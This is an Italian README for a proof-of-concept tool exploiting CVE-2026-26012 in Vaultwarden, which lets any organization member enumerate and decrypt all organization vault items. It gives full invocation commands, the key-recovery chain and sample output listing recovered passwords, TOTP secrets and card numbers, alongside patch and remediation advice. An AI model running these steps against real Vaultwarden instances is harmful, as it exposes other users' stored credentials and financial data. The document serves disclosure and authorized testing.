
Proof-of-concept exploit per CVE-2026-26012, un controllo degli accessi non corretto in Vaultwarden che consente a qualsiasi membro dell'organizzazione di enumerare e decrittare tutte le cifrature, bypassando i permessi delle raccolte.
Enumerazione Completa dei Cipher che Ignora i Permessi delle Collezioni dell'Organizzazione
Una proof-of-concept per CVE-2026-26012, una vulnerabilità di controllo degli accessi non corretto in Vaultwarden (<= 1.35.2) che consente a qualsiasi membro dell'organizzazione di recuperare e decrittare tutti i cipher all'interno dell'organizzazione, indipendentemente dai permessi a livello di collezione.
🤖 Nota: Questo progetto è stato sviluppato con l'assistenza di Claude 3 Opus. L'IA è stata utilizzata per la generazione del codice, la struttura architetturale e la documentazione. Tutti gli output sono stati revisionati e testati manualmente per la garanzia della qualità.
| CVE | CVE-2026-26012 |
| Advisory | GHSA-h265-g7rm-h337 |
| Versioni Affette | Vaultwarden ≤ 1.35.2 |
| Corretto in | 1.35.3 |
| CVSS 3.1 | 6.5 (Medio) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — Autorizzazione non corretta |
| Crediti | Scoperta da @odgrso, corretta da @BlackDex |
L'endpoint API GET /api/ciphers/organization-details è accessibile a qualsiasi membro dell'organizzazione. Internamente, chiama Cipher::find_by_org che restituisce tutti i cipher dell'organizzazione, per poi servirli con CipherSyncType::Organization senza applicare il controllo degli accessi a livello di collezione.
Poiché tutti i cipher dell'organizzazione condividono la stessa chiave di crittografia dell'organizzazione (che ogni membro riceve al momento dell'adesione), i cipher divulgati possono essere completamente decrittati lato client.
Membro regolare dell'organizzazione (limitato alla collezione "Public")
│
├── GET /api/sync → 5 cipher (corretto)
│
└── GET /api/ciphers/organization-details
└──→ 47 cipher (TUTTI i cipher dell'organizzazione — BUG)
└──→ 42 cipher da collezioni riservate (DIVULGATI)
└──→ Decrittabili con la chiave dell'organizzazione che il membro possiede già
.
├── README.md # Questo file
├── poc_cve_2026_26012.py # Fase 1: Enumerazione dei cipher e rilevamento delle perdite
├── poc_decrypt.py # Fase 2: Recupero della chiave dell'organizzazione e decrittazione dei cipher
└── LICENSE
cryptography (per la decrittazione della Fase 2)argon2-cffi (solo se l'istanza target utilizza Argon2id KDF)pip install cryptography
pip install argon2-cffi # opzionale
Rileva se l'istanza è vulnerabile confrontando i cipher restituiti dal normale endpoint /api/sync rispetto all'endpoint vulnerabile /api/ciphers/organization-details.
# Autenticati tramite browser (SSO + 2FA supportati), poi passa il Bearer token
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Bearer token (consigliato — funziona con SSO + 2FA)
--token "eyJhbGciOi..."
# Cookie di sessione
--cookie "VAULTWARDEN_SESSION=abc123..."
# Header Cookie grezzo (più cookie)
--cookie-header "session=abc; token=xyz"
# Accesso diretto con password (SOLO senza SSO e senza 2FA)
--email [email protected] --password "MasterPassword"
Come estrarre il tuo Bearer token:
/api/... e copia il valore dell'header Authorization--no-verify-ssl # Salta la verifica SSL (certificati autofirmati)
--show-all # Mostra anche i cipher legittimamente accessibili
--max-display 50 # Numero massimo di cipher divulgati da mostrare (predefinito: 20)
--output results.json # Esporta i risultati completi in JSON
Recupera la chiave di crittografia dell'organizzazione e decritta tutti i cipher divulgati dalla Fase 1.
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
Nota:
--master-passwordè la tua password principale di Vaultwarden, utilizzata localmente per derivare la catena di chiavi di decrittazione. Non viene mai inviata in rete. Il--tokengestisce l'autenticazione API.
Risoluzione dei problemi: Se la decrittazione della chiave fallisce, aggiungi
--debugper vedere i valori intermedi a ogni passaggio. Lo script prova automaticamente 5 strategie (HKDF moderno, HMAC legacy, chiave grezza e varianti HMAC-skip) per gestire diverse età e configurazioni degli account.
Se hai già la chiave dell'organizzazione a 64 byte (128 caratteri esadecimali):
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === Catena di Recupero della Chiave ===
[1/6] Recupero dei parametri KDF...
KDF: PBKDF2-SHA256, iterazioni: 600000
[2/6] Derivazione della chiave principale...
[3/6] Stretching della chiave principale (HKDF-Expand)...
[4/6] Recupero delle chiavi crittografate da /api/sync...
Organizzazione: ACME Corp
[5/6] Decrittazione della chiave simmetrica utente...
[6/6] Decrittazione della chiave privata RSA → Chiave dell'organizzazione...
[+] Chiave dell'organizzazione recuperata con successo!
[*] Decrittazione di 42 cipher...
============================================================
RISULTATI DELLA DECRITTAZIONE
============================================================
Totale: 42
Decrittati: 42
Errori: 0
RIEPILOGO DELL'IMPATTO
Password recuperate: 35
Segreti TOTP recuperati: 12
Numeri di carta recuperati: 3
============================================================
Ogni membro dell'organizzazione possiede già la chiave simmetrica dell'organizzazione, crittografata con la propria chiave pubblica RSA. La catena di decrittazione è:
Password Principale + Email
│ PBKDF2-SHA256 o Argon2id
▼
Chiave Principale (32 byte)
│ HKDF-Expand-SHA256
▼
Chiave Stretched: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (decritta profile.key)
▼
Chiave Simmetrica Utente: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (decritta profile.privateKey)
▼
Chiave Privata RSA (PKCS#8 DER a 2048 bit)
│ RSA-OAEP-SHA1 (decritta profile.organizations[].key)
▼
Chiave dell'Organizzazione: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
Dati dei cipher decrittati
Nel modello Bitwarden/Vaultwarden, tutti i cipher di un'organizzazione condividono la stessa chiave di crittografia. Il controllo degli accessi basato sulle collezioni è applicato solo lato server — il modello crittografico non applica i confini delle collezioni. Qualsiasi membro che possiede la chiave dell'organizzazione può decrittare qualsiasi cipher dell'organizzazione. Questa CVE bypassa il filtro lato server, esponendo tutti i cipher a qualsiasi membro.
| Tipo di Cipher | Campi Decrittati |
|---|---|
| Login | nome utente, password, segreto TOTP, URI |
| Carta | intestatario, numero, CVV, scadenza |
| Identità | nome, codice fiscale, passaporto, indirizzo, telefono, email |
| Nota Sicura | contenuto completo della nota |
| Tutti i tipi | campi personalizzati, metadati degli allegati |
Aggiorna Vaultwarden a 1.35.3 o successivo immediatamente.
docker pull vaultwarden/server:1.35.3
Dopo la patch, esegui di nuovo la Fase 1 per confermare la correzione — lo strumento dovrebbe riportare NOT VULNERABLE.
Se stavi eseguendo una versione vulnerabile in un'organizzazione multiutente:
/api/ciphers/organization-detailsQuesta PoC è pubblicata dopo che la vulnerabilità è stata divulgata pubblicamente e corretta:
Questa PoC non esisterebbe senza il lavoro dei ricercatori di sicurezza originali e dei manutentori:
| Ruolo | Chi | Contributo |
|---|---|---|
| Segnalatore della Vulnerabilità | @odgrso | Ha scoperto e divulgato responsabilmente CVE-2026-26012 |
| Sviluppatore del Rimedio | @BlackDex | Ha sviluppato e pubblicato la correzione in Vaultwarden 1.35.3 |
| Manutentore del Progetto | @dani-garcia | Creatore di Vaultwarden, ha coordinato l'advisory e il rilascio |
Grazie per mantenere più sicuro l'ecosistema open-source.
Questa proof of concept è fornita strettamente per test di sicurezza autorizzati e scopi educativi. Devi avere esplicita autorizzazione scritta prima di testare qualsiasi sistema che non possiedi. L'accesso non autorizzato a sistemi informatici è illegale ai sensi del CFAA (USA), del Computer Misuse Act (Regno Unito) e delle leggi equivalenti in tutto il mondo. Gli autori non si assumono alcuna responsabilità per un uso improprio.
MIT — Vedi LICENSE.